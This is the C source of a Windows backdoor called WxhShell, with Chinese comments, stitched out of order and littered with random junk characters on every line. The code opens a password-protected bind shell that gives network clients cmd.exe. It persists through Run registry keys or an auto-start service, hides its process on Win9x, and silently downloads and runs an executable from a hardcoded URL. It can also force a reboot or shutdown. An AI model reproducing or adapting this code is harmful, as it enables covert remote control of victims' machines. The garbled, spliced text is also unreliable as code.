    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >d1aE)?  
    else { d#M?lS>  
    closesocket(wsh); \oD=X}UQw(  
    ExitThread(0); S1 R #]  
    } FQv02V+&<  
    break; o =jX  
    } :6HiP&<  
  // 获取shell  xLGTnMYd  
  case 's': { exa}dh/uC  
    CmdShell(wsh); j$JV(fz  
    closesocket(wsh); btkMY<o7  
    ExitThread(0); -v/?>  
    break; 7ZR0M&pX  
  } A=l?IC@O  
  // 退出 [{Klv&>_/  
  case 'x': { u8$~N$L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a*e|>pDO  
    CloseIt(wsh); (\AszLW  
    break; g*\v}6 h  
    } ' ]H#0.  
  // 离开 |x}&wFV  
  case 'q': { _ 3-,3ia  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QRn:=J%W W  
    closesocket(wsh); x Ps& CyI  
    WSACleanup(); $4fjSSB~  
    exit(1); \)s 3]/"7  
    break; e>s.mH6A  
        } )l/C_WEK  
  } !{|yAt9kP  
  } N'q/7jOy  
gP"Mu#/D  
  // 提示信息 ".7 KEnx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zzzi\5&gU  
} A?<"^<A^  
  } q'U-{~q%  
|Z +E(F  
  return;  MYW 4@#  
} Wg3WE1V  
I.n{ "=$B@  
// shell模块句柄 <\#  
int CmdShell(SOCKET sock) e?'k[ES^  
{ Y$DgL h  
STARTUPINFO si; 1pBsr(  
ZeroMemory(&si,sizeof(si)); EEnTq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E*#60z7F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H'(o}cn7~  
PROCESS_INFORMATION ProcessInfo; "{1}  
char cmdline[]="cmd"; &|,qsDK(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]k%KTvX*G  
  return 0; [8(9.6f  
} $1`t+0^k  
5v03<m0`y  
// 自身启动模式 )6S}O* 1  
int StartFromService(void) X0J]6|du.  
{ ^bgm0,M  
typedef struct *d*;M>  
{ "r(pK@h  
  DWORD ExitStatus; 2SCf]&  
  DWORD PebBaseAddress; 7]+'%Uwu)  
  DWORD AffinityMask; < $/Yw   
  DWORD BasePriority; e Eb1R}@  
  ULONG UniqueProcessId; in|7ucSlg  
  ULONG InheritedFromUniqueProcessId; UyfIAC$S  
}   PROCESS_BASIC_INFORMATION; 9MlfZsby  
,lGwW8$R  
PROCNTQSIP NtQueryInformationProcess; pt;Sk?-1  
!ES#::;z?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i!-sbwd7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [==Z1Q;=  
SYhspB  
  HANDLE             hProcess; PL2Q!i`[o  
  PROCESS_BASIC_INFORMATION pbi; YuW\GSV00  
7)X&fV6<8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `v+O5  
  if(NULL == hInst ) return 0; CAObC%  
w)c#ZJHG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?ew]i'9(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hA19:H=7R0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H[yLl v  
?B4QTx9B  
  if (!NtQueryInformationProcess) return 0; R$3+ 01j|  
uy%PTi+A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B_G7F[/K  
  if(!hProcess) return 0; X-WvKH(=w  
K%@SS8!oy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P+l^Ep8P  
+*~3"ww<  
  CloseHandle(hProcess); @"5u~o')@v  
f }e7g d]M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g9Qxf%}  
if(hProcess==NULL) return 0; 90I3_[Ii  
Wm/k(R`O<  
HMODULE hMod; gVWLY;c 3}  
char procName[255]; U9OF0=g  
unsigned long cbNeeded; pAL-P l9z  
FCAu%lvZT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N%i<DsK.u6  
No+zw%l0E  
  CloseHandle(hProcess); bHG>SW\]`?  
CK#PxT?"  
if(strstr(procName,"services")) return 1; // 以服务启动 9e6{(  
j<5R$^?U  
  return 0; // 注册表启动 :S2MS{>Mo  
} >FhBl\oIi  
p0@mumh  
// 主模块 Q:=/d$*xd  
int StartWxhshell(LPSTR lpCmdLine) S-dV  
{ f>PU# D@B  
  SOCKET wsl; Un+Jz ?Y  
BOOL val=TRUE; L0~O6*bk  
  int port=0; *a@UV%u  
  struct sockaddr_in door; }_TdXY #w\  
J'v|^`bE  
  if(wscfg.ws_autoins) Install(); mY9K)]8  
;c}];ZU3G  
port=atoi(lpCmdLine); s*Ll\#  
1j(,VW  
if(port<=0) port=wscfg.ws_port; 7Kjq1zl;  
~:Nyv+g,$  
  WSADATA data; &*SnDuc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Czn7,KE8X  
2 {0VyLx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q0q$ZK6C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ij^!TY[0  
  door.sin_family = AF_INET; $4]PN2d&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6R j X  
  door.sin_port = htons(port); &n wg$z{Y  
mYvm_t9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }+1oD{  
closesocket(wsl); M IJ~j><L  
return 1; ^(3k uF  
} sjGZ ,?%  
cx) EFy.  
  if(listen(wsl,2) == INVALID_SOCKET) { 6iC:l%|u  
closesocket(wsl); V}?5=f'  
return 1; 9OBPFF  
} ~sD'pS  
  Wxhshell(wsl); DQ$/0bq   
  WSACleanup(); <}%*4mv  
he #iWD'  
return 0; W#Z]mt B  
T rW3@@}j  
} 4j5 "{  
sBMHf9u  
// 以NT服务方式启动 cA kw5}P   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *k -UQLJ  
{ Nx__zC^r  
DWORD   status = 0; Rx.0P6s  
  DWORD   specificError = 0xfffffff; %k_JLddlW  
0Qz \"gr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -|5&3HVz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9viC3bj.o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AyUVsIuPT=  
  serviceStatus.dwWin32ExitCode     = 0; a/1{tDA  
  serviceStatus.dwServiceSpecificExitCode = 0; tx.sUu6  
  serviceStatus.dwCheckPoint       = 0; ?a% u=G  
  serviceStatus.dwWaitHint       = 0; c<=1,TB"-_  
UT-=5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +?8nY.~,'  
  if (hServiceStatusHandle==0) return; R0>L[1o  
uB BE!w_  
status = GetLastError(); WG,{:|!E  
  if (status!=NO_ERROR) <Ip}uy[Y  
{ @({65gJ*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c!c!;(  
    serviceStatus.dwCheckPoint       = 0; btOC\bUMfD  
    serviceStatus.dwWaitHint       = 0; y =CemJ[~  
    serviceStatus.dwWin32ExitCode     = status; ;rX4${h  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lqt]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )9$Xfq/  
    return; :Vg,[\I{  
  } :\ S3[(FV  
`k+k&t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^>>Naid  
  serviceStatus.dwCheckPoint       = 0; Lt)t}0  
  serviceStatus.dwWaitHint       = 0; ^J327  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (Q@+W |~  
} T SOt$7-  
[30<  0  
// 处理NT服务事件,比如:启动、停止 MxYCMe4S[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _.j KcDf  
{ _+GCd8d  
switch(fdwControl) 83@+X4ptp  
{ bAgKOfT  
case SERVICE_CONTROL_STOP: [mhY_Hmz]  
  serviceStatus.dwWin32ExitCode = 0; B|8(}Ciqx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )|:|.`H  
  serviceStatus.dwCheckPoint   = 0; LWY`J0/  
  serviceStatus.dwWaitHint     = 0;  l)?c3  
  { '+$2<Ys  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IgVxWh#  
  } t{$t3>p-t  
  return; *w!H -*`  
case SERVICE_CONTROL_PAUSE: ]_-<[0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Es?~Dd  
  break; ,+2ytN*  
case SERVICE_CONTROL_CONTINUE: 2D "mq~ V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _:{XL c  
  break; L%!jj7,9-  
case SERVICE_CONTROL_INTERROGATE: 2rA`y8g(L  
  break; uvT]MgT  
}; K]RkKMT,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2lQ'rnqS)  
} ^K3{6}]  
xX}vx hN  
// 标准应用程序主函数 K2&pTA~OR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tL D.e  
{ MLUq"f~N  
Tmq:,.^}  
// 获取操作系统版本 &DgIykqN  
OsIsNt=GetOsVer(); @L`t/OD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .t\5H<z  
(d_{+O"  
  // 从命令行安装 fuQ? @F  
  if(strpbrk(lpCmdLine,"iI")) Install(); Nhs]U`s(g  
9^`G `D  
  // 下载执行文件 !IP[C?(nB  
if(wscfg.ws_downexe) { `6UW?1_Z5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e KET8v[  
  WinExec(wscfg.ws_filenam,SW_HIDE); f ^z7K  
} *Bc= gl$  
I(pU_7mw  
if(!OsIsNt) { lepgmQ|oY  
// 如果时win9x,隐藏进程并且设置为注册表启动 &AC-?R|Dp  
HideProc(); A2]N :=  
StartWxhshell(lpCmdLine); oMcX{v^"  
} 6Vi #O^>  
else Ip|7JL0Z  
  if(StartFromService()) j&ddpS(s  
  // 以服务方式启动 K" Y,K  
  StartServiceCtrlDispatcher(DispatchTable); M++*AZ  
else l1a=r:WhH  
  // 普通方式启动 SI U"cO4  
  StartWxhshell(lpCmdLine); R|`}z"4C  
6dV92:  
return 0; +Nyx2(g<m  
} -49OE*uF  
Bx;bc  
UEt #;e  
o1 QK@@}  
=========================================== Sw>AgES  
p\~ lPXK  
+ ,0RrD )  
pJ1GB  
:U^a0s%B  
IKH#[jW'IB  
" >i-cR4=LL{  
- TSn_XE  
#include <stdio.h> ,@8>=rT  
#include <string.h> ZI-)'  
#include <windows.h> I"y=A7Nq  
#include <winsock2.h> =k'3rm*ld  
#include <winsvc.h> Xb5n;=)  
#include <urlmon.h> Q];+?Pu.  
OANn!nZ.  
#pragma comment (lib, "Ws2_32.lib") fo^M`a!va0  
#pragma comment (lib, "urlmon.lib") \ @3i=!  
y;3vr1?  
#define MAX_USER   100 // 最大客户端连接数 JstX# z  
#define BUF_SOCK   200 // sock buffer wqK>=Ri_  
#define KEY_BUFF   255 // 输入 buffer 4L(axjMYU  
2>_6b>9]  
#define REBOOT     0   // 重启 [ wi "  
#define SHUTDOWN   1   // 关机 %HpTQ   
x?VX,9;j  
#define DEF_PORT   5000 // 监听端口 Q9]7.^l  
rX)PN3TD  
#define REG_LEN     16   // 注册表键长度 P BpjE}[Q  
#define SVC_LEN     80   // NT服务名长度 %DbL|;z1  
&1 {RuV&t  
// 从dll定义API ,0[bzk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ke!)C[^7z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z+C>P4c-y&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .yd{7Te  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1}}.e^Tsfr  
rc<^6HqD  
// wxhshell配置信息 1.4]T, `  
struct WSCFG { !FX;QD@"  
  int ws_port;         // 监听端口 &>ii2% 4  
  char ws_passstr[REG_LEN]; // 口令 -:h5Ky"  
  int ws_autoins;       // 安装标记, 1=yes 0=no k*\WzBTd  
  char ws_regname[REG_LEN]; // 注册表键名 "[q/2vC  
  char ws_svcname[REG_LEN]; // 服务名 z;xp1t @  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (dLt$<F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QS4sSua  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J$%mG*Y(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qH: ` O%,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l`UJHX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pLE|#58I  
A|,\}9)4X[  
}; 7<<pP  
4L85~l  
// default Wxhshell configuration bN`oQ.Z 4  
struct WSCFG wscfg={DEF_PORT, :_~UO^*h  
    "xuhuanlingzhe", V7G?i\>  
    1, G|Yw a=  
    "Wxhshell", x$Ko|:-  
    "Wxhshell", Cg |_ ) _w  
            "WxhShell Service", / V+&#N  
    "Wrsky Windows CmdShell Service", sU^2I v\%  
    "Please Input Your Password: ", +ByxhSIr  
  1, idMb}fw>  
  "http://www.wrsky.com/wxhshell.exe", 3ZGU?Z;R  
  "Wxhshell.exe" #UG|\}Lp  
    }; YAv-5  
,B(UkPGT  
// 消息定义模块 ,A[40SZA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zm-j FY?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PspH[db  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hZ Gr/5f  
char *msg_ws_ext="\n\rExit."; wj!p6D;;S  
char *msg_ws_end="\n\rQuit."; }{[H@uhjH  
char *msg_ws_boot="\n\rReboot..."; %6j|/|#]  
char *msg_ws_poff="\n\rShutdown..."; DmEmv/N=  
char *msg_ws_down="\n\rSave to "; bo '  
X aW@CW  
char *msg_ws_err="\n\rErr!"; TviC1 {2  
char *msg_ws_ok="\n\rOK!"; iT1"Le/N  
w|pk1~c(_  
char ExeFile[MAX_PATH]; D|/Azy.[  
int nUser = 0; :{pvA;f  
HANDLE handles[MAX_USER]; O@{ JB  
int OsIsNt; MNzq,/Wf  
H=?v$! i  
SERVICE_STATUS       serviceStatus; B(w k $2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '}dlVf  
jhjGDF  
// 函数声明 SL" ;\[uI  
int Install(void); t_6sDr'.  
int Uninstall(void); 5\8Ig f>  
int DownloadFile(char *sURL, SOCKET wsh); &&4av*\I  
int Boot(int flag); 0kS[`a(}J  
void HideProc(void); H$zjN8||"  
int GetOsVer(void); fIN8::Cs[  
int Wxhshell(SOCKET wsl); 'uBXSP#  
void TalkWithClient(void *cs); D{'x7!5r  
int CmdShell(SOCKET sock); LbOjKM^-  
int StartFromService(void); rQg7r>%Q  
int StartWxhshell(LPSTR lpCmdLine); O|m-Uz"+  
an={h,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "(5A 5>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o[q Kf  
3GUO   
// 数据结构和表定义 htk5\^(X  
SERVICE_TABLE_ENTRY DispatchTable[] = 9#{?*c6  
{ =;!C7VS  
{wscfg.ws_svcname, NTServiceMain}, "P\k_-a'  
{NULL, NULL} ZGK*]o =)  
}; VJ;n0*/  
mj=$[ y(  
// 自我安装 oRFHq>-.g  
int Install(void) 2#~5[PtP^  
{ L$6{{Tw"2  
  char svExeFile[MAX_PATH]; EzqYHY+_r  
  HKEY key; YQe9g>G&  
  strcpy(svExeFile,ExeFile); +Wh0Of  
K Art4+31  
// 如果是win9x系统,修改注册表设为自启动 z1wy@1o'  
if(!OsIsNt) { c7X5sMM,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -twV?~f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o#gb+[  
  RegCloseKey(key); 0][PL%3Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zc(uK{3W-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fw kX-ON  
  RegCloseKey(key); <iVn!P  
  return 0; \72(d  
    } ?.~E:8  
  } ++D-,>.  
} z[Xs=S!]I  
else { "- @{ )  
4<fKB&  
// 如果是NT以上系统,安装为系统服务 lg FA}p@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W- 5Z"m1I  
if (schSCManager!=0) ,<s'/8Ik  
{ ]+\;pb}bq  
  SC_HANDLE schService = CreateService 1^^<6e  
  (  "_t2R &A  
  schSCManager, ]8FSs/4  
  wscfg.ws_svcname, )!J0e-T-8O  
  wscfg.ws_svcdisp, oG~a`9N%C  
  SERVICE_ALL_ACCESS, d6,SZ*AE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , INqD(EG   
  SERVICE_AUTO_START, k2DT+}u7G  
  SERVICE_ERROR_NORMAL, 'z7,)Q&8  
  svExeFile, > 5-z"f  
  NULL, xD+n2:I{  
  NULL, 0m k-o  
  NULL, U;f~Q6iu  
  NULL, {#"[h1  
  NULL ~/s(.oji  
  ); AX3iB1):K  
  if (schService!=0) v&6I\1  
  { jx B  
  CloseServiceHandle(schService); at"-X?`d  
  CloseServiceHandle(schSCManager); 6S7 =+>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?IRp3H  
  strcat(svExeFile,wscfg.ws_svcname); {"hX_t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'Vq_/g!?1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %GS^=Qr  
  RegCloseKey(key); }jTCzqHW]  
  return 0; C3 >X1nU  
    } +Y;/10p  
  } &,E^ y,r  
  CloseServiceHandle(schSCManager); /J{ e _a  
} ('k;Ikut  
} #nG?}*#  
}>~';l  
return 1; o"h* @.  
} d +0(H   
b5WtL+Z  
// 自我卸载 ^APPWQUl  
int Uninstall(void) L[v-5u)  
{ ^f][;>c  
  HKEY key; *^agwQ`  
+M@p)pyu  
if(!OsIsNt) { ErZYPl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rBNl%+ sB  
  RegDeleteValue(key,wscfg.ws_regname); Op''=Ar#sh  
  RegCloseKey(key); { |dU|h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { up`.#GWm  
  RegDeleteValue(key,wscfg.ws_regname); 7-Bttv{  
  RegCloseKey(key); Y\#+-E  
  return 0; }t.J;(ff:  
  } vm,/?]P  
} d3% 1 P)  
} 1 /@lZ  
else { :yPA6O 4  
z +NxO !y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^)-* Ubzz  
if (schSCManager!=0) s^O>PEX&<I  
{ 4DGc[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H|V q  
  if (schService!=0) r7dvj#^  
  { Y<1]{4Wt  
  if(DeleteService(schService)!=0) { d:|(l^]{r  
  CloseServiceHandle(schService); ~Ey)9phZK  
  CloseServiceHandle(schSCManager); JjO="Cmk/  
  return 0; sqKLz  
  } N%3 G\|~Q  
  CloseServiceHandle(schService); E]Wnl\Be  
  } W=Y?_Oz  
  CloseServiceHandle(schSCManager); Z]Zs"$q@  
} ;;6e t/8  
} mn5mdrv3WZ  
z x e6M~+  
return 1; Glz yFj  
} 8vP:yh@  
/Q|guJx  
// 从指定url下载文件 s#f6qj  
int DownloadFile(char *sURL, SOCKET wsh) 8[2.HM$Y  
{ [X9s\H  
  HRESULT hr; #HgXTC  
char seps[]= "/"; 0iy-FV;J  
char *token; \a\J0&Z  
char *file; 49/j9#hr  
char myURL[MAX_PATH]; &DUt`Dr w  
char myFILE[MAX_PATH]; Q#wl1P  
^M51@sXI7  
strcpy(myURL,sURL); 6[iuCMOZ  
  token=strtok(myURL,seps); dV~yIxD}C*  
  while(token!=NULL) J~\`8cds  
  { #zRT  
    file=token; gy%/zbZx  
  token=strtok(NULL,seps); -~wGJM VA  
  } /Ah|Po  
k3:8T#N>!O  
GetCurrentDirectory(MAX_PATH,myFILE); $ N7J:Q  
strcat(myFILE, "\\"); p-KMELB  
strcat(myFILE, file); HOEjLwH  
  send(wsh,myFILE,strlen(myFILE),0); muD7+rn?&  
send(wsh,"...",3,0); Glt%%TJb   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g%Yw Dr=0t  
  if(hr==S_OK) o*d+W7l  
return 0; U}r^M( s!  
else zmREzP#X  
return 1; k1EAmA l  
f,e7;u z%  
} d;Uzl 1;  
9PpPAF  
// 系统电源模块 ]["=K!la:  
int Boot(int flag) 5>o<! 0g  
{ <Z8I#IPl  
  HANDLE hToken; 9}\{0;9  
  TOKEN_PRIVILEGES tkp; dWg09sx  
K >-)O=$s  
  if(OsIsNt) { !jV}sp<Xp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *2$I, ~(P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |.]:#)^X?  
    tkp.PrivilegeCount = 1; %J_`-\)"{~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4bT21J37  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f1Ak0s,zrc  
if(flag==REBOOT) { rQW&$M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R4?OFhN9  
  return 0; c4T8eTKU  
} Tug}P K   
else { DOr()X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z[7j`J|Kk  
  return 0; b~M3j&  
} kt.y"^  
  } ?q&*|-%)_d  
  else { ~AD%aHR  
if(flag==REBOOT) { 3c#CEuu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -I#]#i@gX  
  return 0; pH?tr  
} $;9zD11  
else { gC}r$ZB(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HzW`j"\  
  return 0; sCX 8  
} ) o)k~6uT  
} yJt0KUw@!  
sC8C><y  
return 1; p4 \r`  
} .?gpI Zv  
S nMHk3(\  
// win9x进程隐藏模块 $)L=MEdx  
void HideProc(void) O23dtH  
{ h\ZnUn_J  
R7/"ye:7J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XO*|P\#^  
  if ( hKernel != NULL ) E^I|%F  
  { MEOVw[hO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tgu}^TfKkg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {X=gjQ9  
    FreeLibrary(hKernel); bt=%DMTn  
  } V!eq)L  
D[.;-4"_  
return; ] ~;x$Z)  
} vOb=>  
v&[Ff|>  
// 获取操作系统版本 hOI| #(-  
int GetOsVer(void) -}liG  
{ GqFDN],Wp  
  OSVERSIONINFO winfo; J#tGQO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ogt<vng  
  GetVersionEx(&winfo); #q7`"E=M"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  pw^$WK  
  return 1; 95.m^~5  
  else \t LfB[S.5  
  return 0; }i32  
} fc'NU(70c  
SxC   
// 客户端句柄模块 3"ALohlL  
int Wxhshell(SOCKET wsl) |hsg= LX  
{ 8IErLu}  
  SOCKET wsh; ac8+?FpK #  
  struct sockaddr_in client; \2q!2XWgK  
  DWORD myID; Ga5O&`h  
]>E)0<t  
  while(nUser<MAX_USER) ` XAlzI  
{ J{W<6AK\S  
  int nSize=sizeof(client); \>Y2I 4x<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s-V5\Lip,  
  if(wsh==INVALID_SOCKET) return 1; -O.q$D=as  
xgw[)!g^\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DnbT<oEL  
if(handles[nUser]==0) Igowz7  
  closesocket(wsh); Nj8 `<Sl  
else 7 &y'\  
  nUser++; JI TQ3UL:W  
  } "E4;M/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *VJT]^_  
T%GdvtmS>  
  return 0; 8UH c,np  
} eko$c,&jY  
MHh>~Y(h  
// 关闭 socket } 0su[gy[  
void CloseIt(SOCKET wsh) 3v~804kWB  
{ U?vG?{A  
closesocket(wsh); :A+nmz!z  
nUser--; U^ bF}4m  
ExitThread(0); QWqEe|}6  
} F:p'%#3rU/  
>LvQ&fAo  
// 客户端请求句柄 P ?- #d\qi  
void TalkWithClient(void *cs) 8SV.giG;  
{ nnP] x [  
uBdS}U  
  SOCKET wsh=(SOCKET)cs; _!vxX ]  
  char pwd[SVC_LEN]; s L;  
  char cmd[KEY_BUFF]; rA<>k/a  
char chr[1];  t 0 $}  
int i,j; @|3PV  
HF(pC7/a:  
  while (nUser < MAX_USER) { %9bf^LyD  
-&L(0?*qo  
if(wscfg.ws_passstr) { $K_G|Wyi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pDw^~5P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wt$" f  
  //ZeroMemory(pwd,KEY_BUFF); wrORyj  
      i=0; w(>mP9Cb  
  while(i<SVC_LEN) { eSAB :L,K  
3&39M&  
  // 设置超时 y `)oD0)Fj  
  fd_set FdRead; }f/xMp-Y  
  struct timeval TimeOut; -0pAj}_2}  
  FD_ZERO(&FdRead); 0a1Vj56{)  
  FD_SET(wsh,&FdRead); ; M)l7f  
  TimeOut.tv_sec=8; 9E@}@ZV(  
  TimeOut.tv_usec=0; mA{G: d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gb_r <j:w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8eAc 5by  
BQ[,(T`+R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8-f2$  
  pwd=chr[0]; G<dWh.|`=  
  if(chr[0]==0xd || chr[0]==0xa) { "Uk "  
  pwd=0; -#TF&-  
  break; DK\Ud6w  
  } rM|] }M=_V  
  i++;  Sj,>O:p  
    } ~8rVf+bg3  
)MV`(/BC*  
  // 如果是非法用户,关闭 socket Ym]Dlz,o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4u!<3-3Zy  
} ,_G((oS40  
KNI* :  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7W7!X\0Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vt(A?$j|A  
|z]O@@j$  
while(1) { q?9x0L  
 4E"OD+  
  ZeroMemory(cmd,KEY_BUFF);  Uk2U:  
G!%Cc0d"7  
      // 自动支持客户端 telnet标准   S yf0dp3  
  j=0; 2r 0u[  
  while(j<KEY_BUFF) { h 2Kx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P7X':  
  cmd[j]=chr[0]; H@j D %  
  if(chr[0]==0xa || chr[0]==0xd) { *E"OQsIl  
  cmd[j]=0; ?E6*Ef  
  break; ^Z6N&s#6  
  } [~%\:of70n  
  j++; <`rl[C{  
    } ; aI`4;  
XBTtfl &  
  // 下载文件 kS\A_"bc  
  if(strstr(cmd,"http://")) { p!XB\%sv'"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D>HX1LV  
  if(DownloadFile(cmd,wsh)) b `TA2h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PX5K-|R  
  else qjtrU#n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Z>O2  
  } L#\!0YW/@  
  else { McXid~  
#RyX}t X,  
    switch(cmd[0]) { SF 7p/gG  
  <8'-azpJ6<  
  // 帮助 2a\?Q|1C  
